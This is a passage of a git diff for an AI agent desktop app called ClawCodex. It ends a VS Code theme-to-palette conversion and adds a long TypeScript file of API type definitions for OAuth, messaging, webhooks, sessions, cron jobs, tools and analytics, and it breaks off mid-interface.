+  const accentSoft = mix(accent, background, dark ? 0.82 : 0.88)
+  const secondary = mix(accent, background, dark ? 0.72 : 0.86)
+
+  const palette: DesktopThemeColors = {
+    background,
+    foreground,
+    card,
+    cardForeground: foreground,
+    muted,
+    mutedForeground,
+    popover: elevated,
+    popoverForeground: foreground,
+    primary: accent,
+    primaryForeground: readableOn(accent),
+    secondary,
+    secondaryForeground: foreground,
+    accent: accentSoft,
+    accentForeground: foreground,
+    border,
+    input,
+    ring: accent,
+    midground: accent,
+    midgroundForeground: readableOn(accent),
+    composerRing: accent,
+    destructive,
+    destructiveForeground: readableOn(destructive),
+    sidebarBackground: sidebar,
+    sidebarBorder: border,
+    userBubble: mix(card, accent, dark ? 0.18 : 0.12),
+    userBubbleBorder: border
+  }
+
+  const label = (opts.label ?? raw.name ?? 'VS Code Theme').trim()
+  const slug = opts.slug ?? vscodeThemeSlug(label)
+  const terminal = extractTerminalPalette(colors, background)
+
+  return {
+    derived,
+    mode: dark ? 'dark' : 'light',
+    theme: {
+      name: slug,
+      label,
+      description: opts.source ? `VS Code · ${opts.source}` : 'Imported from VS Code',
+      // Single palette in both slots. A lone VS Code theme is one-mode; callers
+      // that have both a light and dark variant (a Marketplace extension family)
+      // recombine them into proper colors/darkColors via buildThemeFromMarketplace.
+      colors: palette,
+      darkColors: palette,
+      // Only set when the theme ships a full ANSI palette — the terminal keeps
+      // its built-in VS Code defaults otherwise.
+      ...(terminal ? { terminal } : {})
+    }
+  }
+}
diff --git a/ui-desktop/src/types/clawcodex.ts b/ui-desktop/src/types/clawcodex.ts
new file mode 100644
index 000000000..bdfa68da2
--- /dev/null
+++ b/ui-desktop/src/types/clawcodex.ts
@@ -0,0 +1,1417 @@
+export interface ConfigFieldSchema {
+  category?: string
+  description?: string
+  options?: unknown[]
+  /** When true, renders a SearchableSelect (Popover + cmdk) instead of the
+   *  closed `<Select>` dropdown. For large option lists like IANA timezones. */
+  searchable?: boolean
+  /** When true, a searchable select prepends a "clear" item that resets the
+   *  value to ''. Matches the existing <Select> EMPTY_SELECT_VALUE pattern. */
+  clearable?: boolean
+  type?: 'boolean' | 'list' | 'number' | 'select' | 'string' | 'text'
+}
+
+export interface ConfigSchemaResponse {
+  category_order?: string[]
+  fields: Record<string, ConfigFieldSchema>
+}
+
+export interface AudioTranscriptionResponse {
+  ok: boolean
+  provider?: string
+  transcript: string
+}
+
+export interface AudioSpeakResponse {
+  ok: boolean
+  data_url: string
+  mime_type: string
+  provider?: string
+}
+
+export interface ElevenLabsVoice {
+  label: string
+  name: string
+  voice_id: string
+}
+
+export interface ElevenLabsVoicesResponse {
+  available: boolean
+  voices: ElevenLabsVoice[]
+}
+
+export interface OAuthProviderStatus {
+  error?: string
+  expires_at?: null | string
+  has_refresh_token?: boolean
+  last_refresh?: null | string
+  logged_in: boolean
+  source?: null | string
+  source_label?: null | string
+  token_preview?: null | string
+}
+
+export interface OAuthProvider {
+  cli_command: string
+  /** Shell command that clears an external provider's credentials, run in the
+   *  embedded terminal. Null when ClawCodex doesn't know how to remove it. */
+  disconnect_command?: null | string
+  disconnect_hint?: null | string
+  disconnectable?: boolean
+  docs_url: string
+  flow: 'device_code' | 'external' | 'pkce'
+  id: string
+  name: string
+  status: OAuthProviderStatus
+}
+
+export interface OAuthProvidersResponse {
+  providers: OAuthProvider[]
+}
+
+export type OAuthStartResponse =
+  | {
+      auth_url: string
+      expires_in: number
+      flow: 'pkce'
+      session_id: string
+    }
+  | {
+      expires_in: number
+      flow: 'device_code'
+      poll_interval: number
+      session_id: string
+      user_code: string
+      verification_url: string
+    }
+
+export interface OAuthSubmitResponse {
+  message?: string
+  ok: boolean
+  status: 'approved' | 'error'
+}
+
+export interface OAuthPollResponse {
+  error_message?: null | string
+  expires_at?: null | number
+  session_id: string
+  status: 'approved' | 'denied' | 'error' | 'expired' | 'pending'
+}
+
+export interface MemoryProviderOAuthStatus {
+  auth: 'apikey' | 'oauth' | null
+  connected: boolean
+  detail: string
+  state: 'connected' | 'error' | 'idle' | 'pending'
+}
+
+export interface EnvVarInfo {
+  advanced: boolean
+  category: string
+  // True when this var is a messaging-platform credential owned by a card on
+  // the dedicated Messaging page. The Keys page hides these to avoid
+  // duplicating the richer channel-configuration UI.
+  channel_managed?: boolean
+  description: string
+  is_password: boolean
+  is_set: boolean
+  // Backend-derived provider grouping hints (from the unified provider catalog
+  // in clawcodex_cli/provider_catalog.py). When present, the Keys tab groups by
+  // this provider identity — the SAME one `clawcodex model` uses — instead of
+  // desktop-only env-var prefix guesses. Empty for non-provider env vars.
+  provider?: string
+  provider_label?: string
+  redacted_value: null | string
+  tools: string[]
+  url: null | string
+}
+
+export type MemoryProviderFieldKind = 'bool' | 'json' | 'number' | 'secret' | 'select' | 'text'
+
+export interface MemoryProviderFieldOption {
+  description: string
+  label: string
+  value: string
+}
+
+export interface MemoryProviderField {
+  description: string
+  group: string
+  info?: string
+  inline: boolean
+  is_set: boolean
+  key: string
+  kind: MemoryProviderFieldKind
+  label: string
+  options: MemoryProviderFieldOption[]
+  placeholder: string
+  value: string
+}
+
+export interface MemoryProviderConfig {
+  docs_url: string
+  fields: MemoryProviderField[]
+  label: string
+  name: string
+}
+
+export interface CustomEndpoint {
+  api_key_preview?: null | string
+  base_url: string
+  context_length?: null | number
+  discover_models: boolean
+  has_api_key: boolean
+  id: string
+  is_current?: boolean
+  model: string
+  models: string[]
+  name: string
+  source?: string
+}
+
+export interface CustomEndpointsResponse {
+  current: {
+    base_url: string
+    model: string
+    provider: string
+  }
+  endpoints: CustomEndpoint[]
+  id?: string
+  ok?: boolean
+}
+
+export interface CustomEndpointUpdate {
+  api_key?: string
+  base_url: string
+  context_length?: number
+  discover_models?: boolean
+  id?: string
+  make_default?: boolean
+  model: string
+  models?: string[]
+  name: string
+}
+
+export interface CustomEndpointValidationResponse {
+  message: string
+  models: string[]
+  ok: boolean
+  reachable: boolean
+}
+
+export interface MessagingEnvVarInfo {
+  advanced: boolean
+  description: string
+  is_password: boolean
+  is_set: boolean
+  key: string
+  prompt: string
+  redacted_value: null | string
+  required: boolean
+  url: null | string
+}
+
+export interface MessagingHomeChannel {
+  chat_id: string
+  name: string
+  platform: string
+  thread_id?: string
+}
+
+export interface MessagingPlatformInfo {
+  configured: boolean
+  description: string
+  docs_url: string
+  enabled: boolean
+  env_vars: MessagingEnvVarInfo[]
+  error_code?: null | string
+  error_message?: null | string
+  gateway_running: boolean
+  home_channel?: MessagingHomeChannel | null
+  id: string
+  name: string
+  state?: null | string
+  updated_at?: null | string
+}
+
+export interface MessagingPlatformsResponse {
+  platforms: MessagingPlatformInfo[]
+}
+
+/** A pending pairing request, or an already-approved user, for one platform. */
+export interface PairingUser {
+  age_minutes?: number
+  platform: string
+  /** Present on pending rows only — the id `approvePairing` grants on. */
+  request_id?: string
+  user_id: string
+  user_name?: string
+}
+
+export interface PairingResponse {
+  approved: PairingUser[]
+  pending: PairingUser[]
+}
+
+export interface MessagingPlatformUpdate {
+  clear_env?: string[]
+  enabled?: boolean
+  env?: Record<string, string>
+}
+
+export interface MessagingPlatformTestResponse {
+  message: string
+  ok: boolean
+  state?: null | string
+}
+
+// -- Webhooks (subscription CRUD) --------------------------------------------
+// Incoming HTTP event routes served by the webhook gateway platform. Backed by
+// the same JSON store the CLI/dashboard use; per-route HMAC secrets are
+// redacted on read and surfaced exactly once on create.
+
+export interface WebhookRoute {
+  created_at: null | string
+  deliver: string
+  deliver_only: boolean
+  description: string
+  enabled: boolean
+  events: string[]
+  name: string
+  prompt: string
+  secret_set: boolean
+  skills: string[]
+  url: string
+}
+
+export interface WebhooksResponse {
+  base_url: string
+  enabled: boolean
+  subscriptions: WebhookRoute[]
+}
+
+export interface WebhookCreatePayload {
+  deliver?: string
+  deliver_chat_id?: string
+  deliver_only?: boolean
+  description?: string
+  events?: string[]
+  name: string
+  prompt?: string
+  skills?: string[]
+}
+
+// Create echoes the route summary plus the one-time secret.
+export interface WebhookCreateResponse extends WebhookRoute {
+  secret: string
+}
+
+export interface WebhookEnableResponse {
+  enabled: true
+  needs_restart: boolean
+  ok: boolean
+  platform: 'webhook'
+  restart_action?: string
+  restart_error?: string
+  restart_pid?: null | number
+  restart_started?: boolean
+}
+
+export interface GatewayReadyPayload {
+  skin?: unknown
+}
+
+export interface ClawCodexConfig {
+  agent?: {
+    reasoning_effort?: string
+    personalities?: Record<string, unknown>
+    service_tier?: string
+  }
+  display?: {
+    personality?: string
+    skin?: string
+    interim_assistant_messages?: boolean
+  }
+  desktop?: {
+    repo_scan_enabled?: boolean
+    repo_scan_roots?: string[]
+    repo_scan_exclude_paths?: string[]
+  }
+  terminal?: {
+    cwd?: string
+    font_family?: string
+  }
+  stt?: {
+    enabled?: boolean
+  }
+  voice?: {
+    max_recording_seconds?: number
+    auto_tts?: boolean
+    stop_phrases?: unknown
+    thinking_sound?: unknown
+  }
+}
+
+export type ClawCodexConfigRecord = Record<string, unknown>
+
+export interface ModelInfoResponse {
+  auto_context_length?: number
+  capabilities?: Record<string, unknown>
+  config_context_length?: number
+  effective_context_length?: number
+  model: string
+  provider: string
+}
+
+export interface ModelPricing {
+  /** Formatted $/Mtok input price, e.g. "$3.00", or "free", or "" if unknown. */
+  input: string
+  /** Formatted $/Mtok output price. */
+  output: string
+  /** Formatted $/Mtok cached-input price, or null when the model has none. */
+  cache: string | null
+  /** True when the model costs nothing (free tier eligible). */
+  free: boolean
+  /** Sale: rounded percent off list when gateway sends pricing.original. */
+  discount_percent?: number
+  /** Sale: formatted pre-discount input $/Mtok ("was"). */
+  was_input?: string
+  /** Sale: formatted pre-discount output $/Mtok ("was"). */
+  was_output?: string
+}
+
+export interface ModelOptionProvider {
+  is_current?: boolean
+  models?: string[]
+  name: string
+  slug: string
+  total_models?: number
+  warning?: string
+  /** Curated shortlist (one flagship per lab) the picker shows by default for
+   *  aggregator providers that serve dozens of models across many labs. Empty
+   *  for providers with no manifest entry — the picker falls back to top-N.
+   *  The rest of `models` stays reachable via search / Edit Models. */
+  featured_models?: string[]
+  /** True when the provider has usable credentials. False for canonical
+   *  providers surfaced by `include_unconfigured` that the user hasn't set up
+   *  yet — render these with a setup affordance instead of hiding them. */
+  authenticated?: boolean
+  /** Auth flow for an unconfigured provider: "api_key" can be activated inline
+   *  by pasting `key_env`; anything else (oauth_*, external, aws_sdk, …) needs
+   *  the `clawcodex model` CLI / onboarding OAuth flow. */
+  auth_type?: string
+  /** Env var to paste an API key into, for unconfigured `api_key` providers. */
+  key_env?: string
+  /** True for providers defined via the user's `providers:` config block. */
+  is_user_defined?: boolean
+  /** OpenAI-compatible endpoint for a user-defined provider. The backend
+   *  exposes this as `api_url`; model assignments send it back as `base_url`
+   *  so switching providers does not discard the selected local endpoint. */
+  api_url?: string
+  /** Per-model pricing keyed by model id (present when the picker requested
+   *  pricing and the provider supports live pricing). */
+  pricing?: Record<string, ModelPricing>
+  /** Nous only: whether the current account is on the free tier. */
+  free_tier?: boolean
+  /** Nous only: paid models a free-tier user cannot select (shown disabled). */
+  unavailable_models?: string[]
+  /** Per-model option support, keyed by model id (present when the picker
+   *  requested capabilities). Lets the UI gate fast/reasoning controls. */
+  capabilities?: Record<string, ModelCapabilities>
+}
+
+export interface ModelCapabilities {
+  fast: boolean
+  reasoning: boolean
+}
+
+export interface ModelOptionsResponse {
+  model?: string
+  provider?: string
+  providers?: ModelOptionProvider[]
+}
+
+export interface PaginatedSessions {
+  limit: number
+  offset: number
+  sessions: SessionInfo[]
+  total: number
+  /** Listable conversation count per profile (children excluded), keyed by
+   *  profile name. Lets the sidebar scope its "Load more" footer to the active
+   *  profile instead of the global total. Present only on
+   *  `/api/profiles/sessions`. */
+  profile_totals?: Record<string, number>
+  /** Per-profile read failures from the cross-profile aggregator (e.g. a locked
+   *  or corrupt state.db). Present only on `/api/profiles/sessions`. */
+  errors?: Array<{ profile: string; error: string }>
+}
+
+export interface RpcEvent<T = unknown> {
+  payload?: T
+  profile?: string
+  session_id?: string
+  type: string
+}
+
+export interface SessionCreateResponse {
+  info?: SessionRuntimeInfo
+  message_count?: number
+  messages?: SessionMessage[]
+  session_id: string
+  stored_session_id?: string
+}
+
+export interface SessionInfo {
+  archived?: boolean
+  cwd?: null | string
+  /** Git branch checked out in {@link cwd} when the session started/resumed.
+   *  The sidebar groups main-checkout sessions by this so feature-branch work
+   *  doesn't collapse under a single directory-named "main" row. Null for
+   *  non-git workspaces and sessions created before branch capture landed. */
+  git_branch?: null | string
+  /** Git repo root that owns {@link cwd} — the authoritative project key,
+   *  resolved server-side at cwd-set (and backfilled for history). The sidebar
+   *  groups by this instead of probing git in the GUI. Null for non-git
+   *  workspaces and not-yet-backfilled rows. */
+  git_repo_root?: null | string
+  ended_at: null | number
+  id: string
+  /** Original root id of a compression chain, when this entry is a projected
+   *  continuation tip. Stable across compressions — used as the durable id for
+   *  pins so a pinned conversation survives auto-compression. */
+  _lineage_root_id?: null | string
+  input_tokens: number
+  is_active: boolean
+  last_active: number
+  message_count: number
+  model: null | string
+  output_tokens: number
+  /** Parent conversation when this row is a /branch fork. */
+  parent_session_id?: null | string
+  /** Durable server-side pin flag (`sessions.pinned`). The list endpoints
+   *  back-fill pinned conversations past their LIMIT, so a pinned row is
+   *  always present in a page — which makes this authoritative for the
+   *  sidebar's Pinned section and lets a second app adopt pins made
+   *  elsewhere. Undefined against a backend predating the flag; treat that as
+   *  "no opinion" and leave the local pin set alone. */
+  pinned?: boolean
+  preview: null | string
+  source: null | string
+  started_at: number
+  title: null | string
+  tool_call_count: number
+  /** Origin platform when this session was handed off from a messaging
+   *  platform (e.g. a Telegram thread continued in the desktop app). The live
+   *  {@link source} becomes local (tui/desktop) after a handoff, so the origin
+   *  is preserved here to surface the platform badge on the row. */
+  handoff_platform?: null | string
+  /** Handoff lifecycle: 'pending' | 'in_progress' | 'completed' | 'failed'. */
+  handoff_state?: null | string
+  handoff_error?: null | string
+  /** Owning profile name, set by the cross-profile aggregator
+   *  (`/api/profiles/sessions`). Absent on legacy single-profile responses,
+   *  which the UI treats as the default profile. */
+  profile?: string
+  /** True when {@link profile} is the default profile. */
+  is_default_profile?: boolean
+}
+
+export type TimelineDisplayMetadata =
+  | { model: string; provider?: string }
+  | {
+      delegation_id: string
+      task_count: number
+      completed_count?: number
+      failed_count?: number
+      duration_seconds?: number
+    }
+  | { reactions: MessageReaction[] }
+
+/** One emoji reaction on a message. One per author, iOS-Tapback style. */
+export interface MessageReaction {
+  emoji: string
+  author: 'agent' | 'user'
+  /** Epoch seconds. */
+  at: number
+}
+
+export interface SessionMessage {
+  codex_reasoning_items?: unknown
+  content: unknown
+  context?: unknown
+  name?: string
+  reasoning?: null | string
+  reasoning_content?: null | string
+  reasoning_details?: unknown
+  display_kind?: 'async_delegation_complete' | 'auto_continue' | 'hidden' | 'model_switch' | string
+  /**
+   * A backend older than this app can still serve this as unparsed JSON text,
+   * so readers must narrow before indexing into it.
+   */
+  display_metadata?: string | TimelineDisplayMetadata
+  role: 'assistant' | 'system' | 'tool' | 'user'
+  /**
+   * Durable `messages.id` from the backend. The renderer's own message ids are
+   * ephemeral (derived from timestamp+index, and a different shape for live vs
+   * rehydrated vs optimistic rows), so anything addressing a specific persisted
+   * message — reactions — keys off this. Absent on a backend older than this app.
+   *
+   * The gateway resume path names it `row_id`; the REST transcript path
+   * (`SELECT *`) ships the same value as a numeric `id`. Read both.
+   */
+  row_id?: number
+  id?: number
+  text?: unknown
+  timestamp?: number
+  tool_call_id?: null | string
+  tool_calls?: unknown
+  tool_name?: string
+}
+
+export interface SessionMessagesResponse {
+  messages: SessionMessage[]
+  session_id: string
+}
+
+export interface SessionResumeResponse {
+  /** Present when the backend found a fresh crash-interrupted turn and
+   *  scheduled its automatic continuation; the turn arrives as a normal
+   *  message.start stream right after this resume. */
+  auto_continue?: {
+    attempt: number
+    interrupted_at: number
+  }
+  inflight?: null | {
+    assistant?: string
+    /** Mid-turn redirect corrections, oldest first. The turn's original prompt
+     *  stays in `user`; these are the follow-ups typed while it ran. */
+    corrections?: string[]
+    /** Retained failed turn: the error the terminal frame carried (the frame
+     *  itself may have been lost to a disconnect). */
+    error?: string
+    recoverable?: boolean
+    status?: string
+    streaming?: boolean
+    user?: string
+  }
+  queued?: null | {
+    user?: string
+  }
+  info?: SessionRuntimeInfo
+  message_count: number
+  messages: SessionMessage[]
+  messages_omitted?: boolean
+  resumed: string
+  running?: boolean
+  session_id: string
+  session_key?: string
+  started_at?: number
+  status?: string
+}
+
+export interface SessionRuntimeInfo {
+  approval_mode?: 'manual' | 'off' | 'smart'
+  branch?: string
+  config_warning?: string
+  credential_warning?: string
+  cwd?: string
+  desktop_contract?: number
+  fast?: boolean
+  install_warning?: string
+  model?: string
+  personality?: string
+  provider?: string
+  reasoning_effort?: string
+  running?: boolean
+  service_tier?: string
+  skills?: Record<string, string[]> | string[]
+  tools?: Record<string, string[]>
+  usage?: Partial<UsageStats>
+  version?: string
+  yolo?: boolean
+}
+
+export interface UsageStats {
+  calls: number
+  context_max?: number
+  context_percent?: number
+  context_used?: number
+  cost_usd?: number
+  input: number
+  output: number
+  total: number
+}
+
+/** One graph node in the star map (learned skill or memory chunk). */
+export interface StarmapNode {
+  id: string
+  label: string
+  kind: 'memory' | 'skill'
+  memorySource?: 'memory' | 'profile'
+  timestamp?: null | number
+  category: string
+  useCount: number
+  state: string
+  createdBy: null | string
+  pinned: boolean
+}
+
+/** A declared `related_skills` link; both endpoints are guaranteed to be nodes. */
+export interface StarmapEdge {
+  source: string
+  target: string
+}
+
+export interface StarmapCluster {
+  category: string
+  count: number
+}
+
+/** Freeform memory rendered as a card — never a graph node. */
+export interface StarmapMemoryCard {
+  source: 'memory' | 'profile'
+  timestamp?: null | number
+  title: string
+  body: string
+}
+
+export interface StarmapGraph {
+  nodes: StarmapNode[]
+  edges: StarmapEdge[]
+  clusters: StarmapCluster[]
+  memory: StarmapMemoryCard[]
+  stats: Record<string, unknown>
+}
+
+export interface ContextUsageCategory {
+  color: string
+  id: string
+  label: string
+  tokens: number
+}
+
+export interface ContextBreakdown {
+  categories: ContextUsageCategory[]
+  context_max: number
+  context_percent: number
+  context_used: number
+  estimated_total: number
+  model?: string
+}
+
+export interface AnalyticsDailyEntry {
+  actual_cost: number
+  api_calls: number
+  cache_read_tokens: number
+  day: string
+  estimated_cost: number
+  input_tokens: number
+  output_tokens: number
+  reasoning_tokens: number
+  sessions: number
+}
+
+export interface AnalyticsModelEntry {
+  api_calls: number
+  estimated_cost: number
+  input_tokens: number
+  model: string
+  output_tokens: number
+  sessions: number
+}
+
+export interface AnalyticsResponse {
+  by_model: AnalyticsModelEntry[]
+  daily: AnalyticsDailyEntry[]
+  period_days: number
+  skills: {
+    summary: AnalyticsSkillsSummary
+    top_skills: AnalyticsSkillEntry[]
+  }
+  /** Per-tool-name call counts. Absent on older backends. */
+  tools?: AnalyticsToolEntry[]
+  totals: AnalyticsTotals
+}
+
+export interface AnalyticsToolEntry {
+  count: number
+  percentage: number
+  tool: string
+}
+
+export interface AnalyticsSkillEntry {
+  last_used_at: null | number
+  manage_count: number
+  percentage: number
+  skill: string
+  total_count: number
+  view_count: number
+}
+
+export interface AnalyticsSkillsSummary {
+  distinct_skills_used: number
+  total_skill_actions: number
+  total_skill_edits: number
+  total_skill_loads: number
+}
+
+export interface AnalyticsTotals {
+  total_actual_cost: number
+  total_api_calls: null | number
+  total_cache_read: null | number
+  total_estimated_cost: number
+  total_input: null | number
+  total_output: null | number
+  total_reasoning: null | number
+  total_sessions: number
+}
+
+export interface CronJob {
+  deliver?: null | string
+  enabled: boolean
+  id: string
+  last_error?: null | string
+  last_run_at?: null | string
+  model?: null | string
+  name?: null | string
+  next_run_at?: null | string
+  no_agent?: boolean
+  prompt?: null | string
+  provider?: null | string
+  schedule?: CronJobSchedule
+  schedule_display?: null | string
+  script?: null | string
+  state?: null | string
+}
+
+export interface CronJobCreatePayload {
+  deliver?: string
+  model?: string
+  name?: string
+  prompt: string
+  provider?: string
+  schedule: string
+}
+
+export interface CronJobSchedule {
+  display?: string
+  expr?: string
+  kind?: string
+}
+
+export interface CronJobUpdates {
+  deliver?: string
+  enabled?: boolean
+  model?: null | string
+  name?: string
+  prompt?: string
+  provider?: null | string
+  schedule?: string
+}
+
+// A cron delivery target from GET /api/cron/delivery-targets — the single
+// source of truth (cron.scheduler.cron_delivery_targets) for where a cron job
+// can auto-deliver. Only 'local' plus configured gateway platforms appear; a
+// configured platform without a cron home channel comes back with
+// home_target_set=false so the UI can flag it.
+export interface CronDeliveryTarget {
+  home_env_var: null | string
+  home_target_set: boolean
+  id: string
+  name: string
+}
+
+// Automation Blueprints — parameterized cron templates with typed slots. The
+// backend (cron/blueprint_catalog.py) is the single source of truth; the
+// desktop renders each slot as a form field, then instantiates a real cron job
+// via the same create_job path as everything else. Shapes mirror the JSON from
+// GET /api/cron/blueprints (blueprint_catalog_entry).
+export interface AutomationBlueprintField {
+  name: string
+  type: 'enum' | 'text' | 'time' | 'weekdays'
+  label: string
+  default: null | string
+  options: string[]
+  optional: boolean
+  /** When false, options are suggestions — any value is accepted. */
+  strict?: boolean
+  help: string
+}
+
+export interface AutomationBlueprint {
+  key: string
+  title: string
+  description: string
+  category: string
+  tags: string[]
+  fields: AutomationBlueprintField[]
+  command: string
+  appUrl: string
+}
+
+export interface ProfileCreatePayload {
+  clone_all?: boolean
+  clone_from?: null | string
+  clone_from_default?: boolean
+  name: string
+  no_skills?: boolean
+}
+
+export interface ProfileInfo {
+  has_env: boolean
+  is_default: boolean
+  model: null | string
+  name: string
+  path: string
+  provider: null | string
+  skill_count: number
+}
+
+export interface ProfileSetupCommand {
+  command: string
+}
+
+// The desktop appearance/interface overlay bundled into a profile export as
+// `desktop.json`. Everything optional — an archive exported by an older (or
+// non-desktop) ClawCodex simply carries none of it. See store/profile-share.ts.
+export interface ProfileDesktopOverlay {
+  /** Overlay schema version (1). */
+  version?: number
+  /** Skin name (built-in or bundled user theme). */
+  skin?: string
+  /** Light/dark/system preference. */
+  mode?: string
+  /** Full user-theme definitions the skin may reference (DesktopTheme JSON). */
+  themes?: Record<string, unknown>
+  /** Rail color override for this profile. */
+  profileColor?: null | string
+  /** Layout tree (clawcodex.desktop.layoutTree.v2 shape). */
+  layoutTree?: unknown
+  /** Active layout preset id. */
+  layoutPreset?: string
+}
+
+// ── Projects ───────────────────────────────────────────────────────────────
+// A first-class, per-profile, human-named workspace spanning one or more
+// folders. Mirrors clawcodex_cli/projects_db.Project.to_dict().
+export interface ProjectFolder {
+  path: string
+  label: null | string
+  is_primary: boolean
+  added_at: number
+}
+
+export interface ProjectInfo {
+  id: string
+  slug: string
+  name: string
+  description: null | string
+  icon: null | string
+  color: null | string
+  board_slug: null | string
+  primary_path: null | string
+  archived: boolean
+  created_at: number
+  folders: ProjectFolder[]
+}
+
+export interface ProjectsPayload {
+  projects: ProjectInfo[]
+  active_id: null | string
+}
+
+export interface ProfileSoul {
+  content: string
+  exists: boolean
+}
+
+export interface ProfilesResponse {
+  profiles: ProfileInfo[]
+}
+
+export interface SkillInfo {
+  category: string
+  description: string
+  enabled: boolean
+  name: string
+  /** Total observed activity (use + view + patch). Absent on older backends. */
+  usage?: number
+  /** 'agent' = learned/local (editable), 'bundled' = ships with ClawCodex, 'hub' = installed. */
+  provenance?: 'agent' | 'bundled' | 'hub'
+}
+
+export interface ToolsetInfo {
+  configured: boolean
+  description: string
+  enabled: boolean
+  label: string
+  name: string
+  tools: string[]
+}
+
+export interface ToolEnvVar {
+  key: string
+  prompt: string
+  url: string | null
+  default: string | null
+  is_set: boolean
+}
+
+/** Server-computed readiness for a provider picker row. Absent on older
+ *  backends that predate the truthful-readiness endpoint. */
+export type ToolProviderStatus = 'ready' | 'needs_setup' | 'needs_auth' | 'needs_keys'
+
+export interface ToolProvider {
+  name: string
+  badge: string
+  tag: string
+  env_vars: ToolEnvVar[]
+  post_setup: string | null
+  requires_nous_auth: boolean
+  /** True when this is the provider currently written to config (mirrors the
+   *  CLI `clawcodex tools` active-provider detection). */
+  is_active: boolean
+  /** Honest readiness computed server-side (keys ∧ Nous entitlement ∧
+   *  post-setup install state). Optional for older backends. */
+  status?: ToolProviderStatus
+  /** Web toolset only: the backend key written to web.*backend config
+   *  (e.g. 'searxng'). Absent on other toolsets and older backends. */
+  web_backend?: string
+  /** TTS toolset only: the provider key written to tts.provider when this row
+   *  is selected (e.g. 'openai'). Doubles as the config section that holds the
+   *  provider's voice/model settings (tts.<key>.*). Absent on other toolsets
+   *  and older backends. */
+  tts_provider?: string
+  /** Web toolset only: capabilities this backend can serve. Search-only
+   *  providers (ddgs, brave-free) report ['search']. */
+  capabilities?: WebCapability[]
+}
+
+/** A web toolset capability — the runtime dispatches web_search and
+ *  web_extract to independently configurable backends. */
+export type WebCapability = 'search' | 'extract'
+
+export interface ToolsetConfig {
+  name: string
+  has_category: boolean
+  providers: ToolProvider[]
+  /** Name of the currently active provider, or null if none is configured. */
+  active_provider: string | null
+  /** Web toolset only: backend the web_search tool resolves to right now
+   *  (web.search_backend → web.backend → credential auto-detect). */
+  active_search_backend?: string | null
+  /** Web toolset only: backend the web_extract tool resolves to right now. */
+  active_extract_backend?: string | null
+}
+
+/** Health status of a terminal execution backend row.
+ *
+ *  `ready` — usable now; `needs_setup` — selectable but missing a dependency
+ *  or credential (detail says which); `unavailable` — the probe itself failed. */
+export type TerminalBackendStatus = 'ready' | 'needs_setup' | 'unavailable'
+
+/** One row from `GET /api/tools/terminal/backends`. */
+export interface TerminalBackendInfo {
+  name: string
+  label: string
+  description: string
+  /** True when this backend is the current `terminal.backend` config value. */
+  active: boolean
+  status: TerminalBackendStatus
+  /** Setup guidance / probe detail for non-ready rows (empty when ready). */
+  detail: string
+}
+
+/** Shape of `GET /api/tools/terminal/backends`. */
+export interface TerminalBackendsResponse {
+  active: string
+  backends: TerminalBackendInfo[]
+}
+
+/** One model row from a toolset backend's catalog (image/video gen). */
+export interface ToolsetModel {
+  id: string
+  display: string
+  speed: string
+  strengths: string
+  price: string
+}
+
+/** Shape of `GET /api/tools/toolsets/{name}/models`. */
+export interface ToolsetModelsResponse {
+  name: string
+  has_models: boolean
+  provider?: string | null
+  plugin?: string | null
+  models: ToolsetModel[]
+  current: string | null
+  default: string | null
+}
+
+/** Shape of `GET /api/tools/computer-use/status`.
+ *
+ *  cua-driver runs on macOS, Windows, and Linux. `ready` is the single OS-aware
+ *  readiness signal: on macOS both TCC grants (Accessibility + Screen
+ *  Recording, which attach to cua-driver's own `com.trycua.driver` identity,
+ *  not ClawCodex); elsewhere, driver health from `cua-driver doctor`. `null`
+ *  means unknown (binary missing / probe failed). */
+export interface ComputerUsePermissionSource {
+  attribution?: string
+  executable?: string
+  note?: string
+  pid?: number
+  responsible_ppid?: number
+}
+
+export interface ComputerUseCheck {
+  label: string
+  status: string
+  message: string
+}
+
+export interface ComputerUseStatus {
+  /** `sys.platform`: "darwin" | "win32" | "linux" | ... */
+  platform: string
+  /** cua-driver has a runtime backend for this platform. */
+  platform_supported: boolean
+  /** cua-driver binary resolved on PATH. */
+  installed: boolean
+  /** e.g. "cua-driver 0.5.1", or null when unknown. */
+  version: string | null
+  /** Unified readiness — both TCC grants (macOS) or driver health (else). */
+  ready: boolean | null
+  /** Whether a permission grant flow exists (macOS-only TCC). */
+  can_grant: boolean
+  /** Cross-platform `cua-driver doctor` probes. */
+  checks: ComputerUseCheck[]
+  /** macOS TCC detail — `null` off macOS or when unknown. */
+  accessibility: boolean | null
+  screen_recording: boolean | null
+  screen_recording_capturable: boolean | null
+  source: ComputerUsePermissionSource | null
+  /** Populated when the status probe itself failed. */
+  error: string | null
+}
+
+export interface SessionSearchResult {
+  /** Lineage root of the matched conversation. Stable across compression and
+   *  used as the durable pin id; falls back to session_id when absent. */
+  lineage_root?: string | null
+  model: string | null
+  role: string | null
+  /** Live compression tip of the matched conversation — resume by this id. */
+  session_id: string
+  session_started: number | null
+  snippet: string
+  source: string | null
+}
+
+export interface SessionSearchResponse {
+  results: SessionSearchResult[]
+}
+
+export interface LogsResponse {
+  file: string
+  lines: string[]
+}
+
+export interface PlatformStatus {
+  error_code?: string
+  error_message?: string
+  state: string
+  updated_at: string
+}
+
+export interface StatusResponse {
+  active_sessions: number
+  config_path: string
+  config_version: number
+  env_path: string
+  gateway_exit_reason: string | null
+  gateway_health_url: string | null
+  gateway_pid: number | null
+  gateway_platforms: Record<string, PlatformStatus>
+  gateway_running: boolean
+  gateway_state: string | null
+  gateway_updated_at: string | null
+  clawcodex_home: string
+  latest_config_version: number
+  release_date: string
+  version: string
+}
+
+export interface ActionResponse {
+  name: string
+  ok: boolean
+  pid: number
+  action_id?: string
+  already_running?: boolean
+}
+
+export interface ActionStatusResponse {
+  exit_code: number | null
+  lines: string[]
+  name: string
+  pid: number | null
+  running: boolean
+}
+
+export interface BackendUpdateCommit {
+  sha: string
+  summary: string
+  author: string
+  at: number
+}
+
+/** Shape of `GET /api/clawcodex/update/check` — the backend's own update state.
+ *  Used by the desktop's remote update overlay so the backend version (not the
+ *  Electron client clone) drives "what's changed + Install" in remote mode. */
+export interface BackendUpdateCheckResponse {
+  install_method: string
+  current_version: string
+  behind: number | null
+  update_available: boolean
+  can_apply: boolean
+  update_command: string | null
+  message: string | null
+  commits?: BackendUpdateCommit[]
+}
+
+export interface AuxiliaryTaskAssignment {
+  base_url: string
+  model: string
+  provider: string
+  task: string
+}
+
+export interface AuxiliaryModelsResponse {
+  main: { model: string; provider: string }
+  tasks: AuxiliaryTaskAssignment[]
+}
+
+export interface MoaModelSlot {
+  provider: string
+  model: string
+  /** Optional per-slot reasoning effort — round-tripped, not edited here. */
